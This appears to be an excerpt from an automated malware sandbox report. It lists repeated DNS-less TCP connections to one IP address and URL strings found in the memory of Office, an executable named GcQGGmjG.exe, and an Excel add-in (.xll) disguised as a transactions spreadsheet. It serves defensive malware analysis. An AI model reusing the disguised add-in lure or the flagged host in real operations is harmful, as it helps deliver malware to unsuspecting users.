Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240
Source: unknown	TCP traffic detected without corresponding DNS query: 89.238.170.240

Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: http://weather.service.msn.com/data.aspx
Source: GcQGGmjG.exe, 00000003.00000002.481018769.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://analysis.windows.net/powerbi/api
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.aadrm.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.aadrm.com/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.addins.store.office.com/app/query
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.cortana.ai
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.diagnostics.office.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.diagnosticssdf.office.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.microsoftstream.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.microsoftstream.com/api/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.office.net
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.officescripts.microsoftusercontent.com/api
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.onedrive.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://api.scheduler.
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://apis.live.net/v5.0/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://arc.msn.com/v4/api/selection
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://augloop.office.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://augloop.office.com/v2
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://autodiscover-s.outlook.com/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://cdn.designerapp.osi.office.net/designer-mobile
Source: GcQGGmjG.exe, 00000003.00000002.481018769.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://cdn.entity.
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://cdn.hubblecontent.osi.office.net/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://cdn.int.designerapp.osi.office.net/fonts
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://clients.config.office.net
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://clients.config.office.net/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://config.edge.skype.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://consent.config.office.com/consentcheckin/v1.0/consents
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://consent.config.office.com/consentweb/v1.0/consents
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://cortana.ai
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://cortana.ai/api
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://cr.office.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://d.docs.live.net
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://dataservice.o365filtering.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://dataservice.o365filtering.com/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://designerapp.officeapps.live.com/designerapp
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://dev.cortana.ai
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://devnull.onenote.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://directory.services.
Source: GcQGGmjG.exe, 00000003.00000002.481018769.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GcQGGmjG.exe, 00000003.00000002.481018769.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: GcQGGmjG.exe, 00000003.00000002.481018769.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://ecs.office.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://ecs.office.com/config/v1/Designer
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 2023-07-01-2023-07-15_Transactions.xll	String found in binary or memory: https://github.com/Excel-DNA/ExcelDna
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://graph.windows.net
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://graph.windows.net/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/pivots/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://invites.office.com/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://lifecycle.office.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://login.windows.local
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://make.powerautomate.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://management.azure.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://management.azure.com/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://messaging.action.office.com/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://messaging.engagement.office.com/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://messaging.lifecycle.office.com/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://messaging.office.com/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://ncus.contentsync.
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://ods-diagnostics-ppe.trafficmanager.net
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://officeapps.live.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://onedrive.live.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://outlook.office.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://outlook.office.com/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://outlook.office365.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://outlook.office365.com/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://powerlift-user.acompli.net
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://powerlift.acompli.net
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://pushchannel.1drv.ms
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://res.cdn.office.net/polymer/models
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: GcQGGmjG.exe, 00000003.00000002.481018769.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: GcQGGmjG.exe, 00000003.00000002.481018769.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: GcQGGmjG.exe, 00000003.00000002.481018769.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: GcQGGmjG.exe, 00000003.00000002.481018769.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://settings.outlook.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://staging.cortana.ai
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
